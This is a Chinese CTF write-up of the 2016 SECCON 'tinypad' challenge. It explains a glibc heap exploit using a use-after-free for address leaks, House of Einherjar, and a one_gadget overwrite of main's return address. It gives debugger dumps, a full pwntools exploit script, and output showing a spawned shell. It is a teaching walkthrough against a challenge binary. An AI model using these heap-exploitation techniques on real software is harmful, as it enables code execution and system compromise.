来自ctf-wiki,链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad
目录
前言
考察对 House Of Einherjar 漏洞的用法。以及UAF。
鄙人使用的是自己编译的glibc-2.19,下面的有些地址是需要自行计算的.
思路
- 泄露heap基地址
- 泄露libc基地址
- House Of Einherjar漏洞
- One gadget拿shell
泄露heap基地址
由于源程序在做删除操作的时候,不会将指针置NULL,所以下一次就会打印出其 malloc_chunk->fd 上的值。
# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8) # index 1
add(0x70, 'b' * 8) # index 2
add(0x100, 'c' * 8) # index 3
delete(2) # delete index 2
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')
heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))
泄露libc基地址
原理和上面一样的.
# 2. leak libc base address
add(0x200, '')
add(0x200, '')
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')
# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8
main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))
libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))
# clear
delete(2)
delete(3)
不同的glibc,main_area_88 的偏移各有不同,算偏移的具体做法:
pwndbg> heap
0x9ec000 FASTBIN {
prev_size = 0,
size = 129,
fd = 0x9ec080,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec080 FASTBIN {
prev_size = 0,
size = 129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec100 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x6363636363636363,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec210 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x7ff59d65fbb8 <main_arena+88>,
bk = 0x7ff59d65fbb8 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec320 {
prev_size = 272,
size = 272,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec430 PREV_INUSE {
prev_size = 0,
size = 134097,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /home/ex/test/tinypad
0x601000 0x602000 r--p 1000 1000 /home/ex/test/tinypad
0x602000 0x603000 rw-p 1000 2000 /home/ex/test/tinypad
0x9ec000 0xa0d000 rw-p 21000 0 [heap]
0x7ff59d2c3000 0x7ff59d45b000 r-xp 198000 0 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d45b000 0x7ff59d65b000 ---p 200000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d65b000 0x7ff59d65f000 r--p 4000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d65f000 0x7ff59d661000 rw-p 2000 19c000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d661000 0x7ff59d665000 rw-p 4000 0
0x7ff59d665000 0x7ff59d685000 r-xp 20000 0 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d87e000 0x7ff59d881000 rw-p 3000 0
0x7ff59d883000 0x7ff59d884000 rw-p 1000 0
0x7ff59d884000 0x7ff59d885000 r--p 1000 1f000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d885000 0x7ff59d886000 rw-p 1000 20000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d886000 0x7ff59d887000 rw-p 1000 0
0x7ffcd5774000 0x7ffcd5795000 rw-p 21000 0 [stack]
0x7ffcd57f7000 0x7ffcd57f9000 r--p 2000 0 [vvar]
0x7ffcd57f9000 0x7ffcd57fb000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7ff59d65fbb8-0x7ff59d2c3000
$1 = 0x39cbb8
pwndbg>
House Of Einherjar准备
具体做法如下:
- 准备环境
- 修改inuse标志
- 进行 \x00 填充
- 修改 prev_size
- 构造fake_chunk
- 劫持main返回地址
准备环境
事先要准备好填充的数量.
add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20)) # index 3
add(0x100, 'c' * (0x100)) # index 4
修改inuse标志
用的是strcpy的\x00截断实现的.
# 修改inuse标志
edit(1,'a'*24)
进行 \x00 填充
因为strcpy的时候会有\x00截断,所以对于高字节的\x00,只能一步一步来修改.
size = (heap_index_2 - fakechunk_addr)
log.info("Size: "+hex(size))
# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))
# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
edit(1,'a'*(24 - 1 -i))
修改 prev_size
因为heap在使用状态下,prev_size 的空间是可以给前一个chunk使用的,所以它的值可以由前一个chunk更改.
# 修改prev_size
edit(1,'a'*16 + p64(size))
构造fake_chunk
下面就是直接构造的假chunk,而index在构造环境的时候需要确定能容下所有字节.
# fake_chunk
layout = [
p64(0x0), # fake_chunk->prev_size
p64(0x100 + 0x1), # fake_chunk->size
p64(fakechunk_addr), # fake_chunk->fd
p64(fakechunk_addr) # fake_chunk->bk
# 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]
# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))
House Of Einherjar
前面已经准备好了,所以这里直接使用该漏洞,将fake_chunk->fd和fake_chunk->bk设置为main_area_88,主要是为了能把该chunk从heap里面拿出来,要不然过不了检查.
# House Of Einherjar漏洞
delete(2)
# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))
劫持main返回地址
具体做法如下:
- 计算environ pointer地址
- 构造一个方便读写的环境
- 劫持main返回地址
- getshell
计算environ pointer地址
直接用泄露的基地址计算就行.
environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))
构造一个方便读写的环境
# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)
add(0x100 - 8, fake_pad) # index 2
劫持main返回地址
# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret
environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))
# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))
# constraints:
# [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))
environ_addr 和 main_ret_addr 的偏移需要自行计算,方法如下:
pwndbg> stack
00:0000│ rsp 0x7ffef44eaf98 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax
01:0008│ 0x7ffef44eafa0 —▸ 0x7ffef44eb033 ◂— 0x40083200007ffef4
02:0010│ 0x7ffef44eafa8 ◂— 0x1
03:0018│ 0x7ffef44eafb0 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
04:0020│ 0x7ffef44eafb8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax
05:0028│ 0x7ffef44eafc0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */
06:0030│ 0x7ffef44eafc8 ◂— 0x0
07:0038│ 0x7ffef44eafd0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
pwndbg>
08:0040│ 0x7ffef44eafd8 ◂— 0xa5c048c5caa4ab00
09:0048│ rbp 0x7ffef44eafe0 —▸ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— ...
0a:0050│ 0x7ffef44eafe8 —▸ 0x401100 (read_until+73) ◂— mov qword ptr [rbp - 0x10], rax
0b:0058│ 0x7ffef44eaff0 ◂— 9 /* '\t' */
0c:0060│ 0x7ffef44eaff8 ◂— 0xacaa4ab00
0d:0068│ 0x7ffef44eb000 ◂— 0x1
0e:0070│ 0x7ffef44eb008 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
0f:0078│ 0x7ffef44eb010 ◂— 9 /* '\t' */
pwndbg>
10:0080│ 0x7ffef44eb018 ◂— 0x0
11:0088│ 0x7ffef44eb020 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
12:0090│ 0x7ffef44eb028 ◂— 0xa5c048c5caa4ab00
13:0098│ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
14:00a0│ 0x7ffef44eb038 —▸ 0x400832 (getcmd+92) ◂— mov esi, 1
15:00a8│ rsi-4 0x7ffef44eb040 ◂— 0x2
16:00b0│ 0x7ffef44eb048 ◂— 0xa5c048c5caa4ab00
17:00b8│ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
pwndbg>
18:00c0│ 0x7ffef44eb058 —▸ 0x4009c1 (main+350) ◂— mov dword ptr [rbp - 0x10], eax
19:00c8│ 0x7ffef44eb060 ◂— 0x3400401370
1a:00d0│ 0x7ffef44eb068 ◂— 0x4
1b:00d8│ 0x7ffef44eb070 ◂— 0xf800000000
1c:00e0│ 0x7ffef44eb078 ◂— 0xa5c048c5caa4ab00
1d:00e8│ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
1e:00f0│ 0x7ffef44eb088 —▸ 0x7f48d89e27d5 (__libc_start_main+385) ◂— jmp 0x7f48d89e2820
1f:00f8│ 0x7ffef44eb090 —▸ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
pwndbg>
20:0100│ 0x7ffef44eb098 —▸ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
21:0108│ 0x7ffef44eb0a0 ◂— 0x1d8d5b760
22:0110│ 0x7ffef44eb0a8 —▸ 0x400863 (main) ◂— push rbp
23:0118│ 0x7ffef44eb0b0 ◂— 0x0
24:0120│ 0x7ffef44eb0b8 ◂— 0xac9964160561fbe2
25:0128│ 0x7ffef44eb0c0 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp
26:0130│ 0x7ffef44eb0c8 ◂— 0x0
... ↓
pwndbg>
28:0140│ 0x7ffef44eb0d8 ◂— 0x0
29:0148│ 0x7ffef44eb0e0 ◂— 0x53648c0b42a1fbe2
2a:0150│ 0x7ffef44eb0e8 ◂— 0x5208d5aa6c9bfbe2
2b:0158│ 0x7ffef44eb0f0 ◂— 0x7ffe00000000
2c:0160│ 0x7ffef44eb0f8 ◂— 0x0
... ↓
2e:0170│ 0x7ffef44eb108 —▸ 0x7f48d8d7354d (_dl_init_internal+229) ◂— mov eax, r14d
2f:0178│ 0x7ffef44eb110 ◂— 0x0
pwndbg>
30:0180│ 0x7ffef44eb118 ◂— 0x0
... ↓
33:0198│ 0x7ffef44eb130 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp
34:01a0│ 0x7ffef44eb138 —▸ 0x7ffef44eb160 ◂— 0x1
35:01a8│ 0x7ffef44eb140 ◂— 0x0
36:01b0│ 0x7ffef44eb148 —▸ 0x40070a (_start+42) ◂— hlt
37:01b8│ 0x7ffef44eb150 —▸ 0x7ffef44eb158 ◂— 0x0
pwndbg>
38:01c0│ 0x7ffef44eb158 ◂— 0x0
39:01c8│ 0x7ffef44eb160 ◂— 0x1
3a:01d0│ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
3b:01d8│ 0x7ffef44eb170 ◂— 0x0
3c:01e0│ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
3d:01e8│ 0x7ffef44eb180 —▸ 0x7ffef44ec79e ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
3e:01f0│ 0x7ffef44eb188 —▸ 0x7ffef44ec7be ◂— 'SSH_CLIENT=192.168.3.1 57226 22'
3f:01f8│ 0x7ffef44eb190 —▸ 0x7ffef44ec7de ◂— 'LOGNAME=ex'
pwndbg> p/x 0x7ffef44eb178-0x7ffef44eb088
$1 = 0xf0
pwndbg>
也就是计算上面3c:01e0和1e:00f0的偏移,不同环境,可能值不同.
getshell
退出即可.
# 退出,getshell
sh.sendline('Q')
sh.interactive()
这里用的one gadget情况如下:
ex@ubuntu:~/test$ one_gadget /home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6
0x3ce7f execve("/bin/sh", rsp+0x20, environ)
constraints:
[rsp+0x20] == NULL
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import math
sh = process('./tinypad')
elf = ELF('./tinypad')
libc = ELF('/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6')
#context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
tinypad = 0x602040
def add(size, content):
sh.sendline('A')
sh.recvuntil('(SIZE)>>> ')
sh.sendline(str(size))
sh.recvuntil('(CONTENT)>>> ')
sh.sendline(content)
sh.recvuntil('(CMD)>>> ')
def delete(index):
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(index))
sh.recvuntil('(CMD)>>> ')
def edit(index, content):
sh.sendline('E')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(index))
sh.recvuntil('CONTENT: ')
ret = sh.recvuntil('\n(CONTENT)>>> ')
sh.sendline(content)
sh.recvuntil('(Y/n)>>> ')
sh.sendline('Y')
sh.recvuntil('(CMD)>>> ')
return ret
sh.recvuntil('(CMD)>>> ')
# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8) # index 1
add(0x70, 'b' * 8) # index 2
add(0x100, 'c' * 8) # index 3
delete(2) # delete index 2
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')
heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))
# 2. leak libc base address
add(0x200, '')
add(0x200, '')
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')
# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8
main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))
libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))
# clear
delete(2)
delete(3)
# 3. House Of Einherjar 修改inuse标志
add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20)) # index 3
add(0x100, 'c' * (0x100)) # index 4
fakechunk_addr = tinypad + 0x20
# 修改inuse标志
edit(1,'a'*24)
# 第二个索引的地址,第一个heap大小是0x20
heap_index_2 = heap_base_addr + 0x20
size = (heap_index_2 - fakechunk_addr)
log.info("Size: "+hex(size))
# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))
# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
edit(1,'a'*(24 - 1 -i))
# 修改prev_size
edit(1,'a'*16 + p64(size))
# fake_chunk
layout = [
p64(0x0), # fake_chunk->prev_size
p64(0x100 + 0x1), # fake_chunk->size
p64(fakechunk_addr), # fake_chunk->fd
p64(fakechunk_addr) # fake_chunk->bk
# 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]
# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))
# House Of Einherjar漏洞
delete(2)
# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))
# # 劫持__free_hook
# add(0x100 - 8,'a' * (0x100 - 0x20) + p64(32) + p64(__free_hook))
# add(24,'a'*24) # index 2
# add(0x0000000001ffb0e0 - 8,'a'* (0x100 + 0x40)) # index 4
environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))
# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)
add(0x100 - 8, fake_pad) # index 2
sh.sendline()
# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret
environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))
# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))
# constraints:
# [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))
# 退出,getshell
sh.sendline('Q')
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
结果如下:
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './tinypad': pid 46231
[*] '/home/ex/test/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] heap_base_addr: 0xfaf000
[*] main_area_88: 0x7f81f2639bb8
[+] libc_base_addr: 0x7f81f229d000
[*] Size: 0x9acfc0
[*] environ pointer addr: 0x7f81f263c018
[+] environ_addr: 0x7fff834f6218
[+] main_ret_addr: 0x7fff834f6128
[+] one_gadget_addr: 0x7f81f22d9e7f
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
总结
这题比较坑人了,原本打算劫持got表的,却发现是full relro保护,然后计划打算劫持__free_hook,但是,由于程序本身有\0的长度限制,也不能修改.所以只能,修改main函数的地址为返回地址了.原本还想修改main函数的地址为返回地址为system函数,然后把参数设置为/bin/sh,但是放参数的地方刚好就是stack guard,所以不能修改,总之多尝试,总会有收获的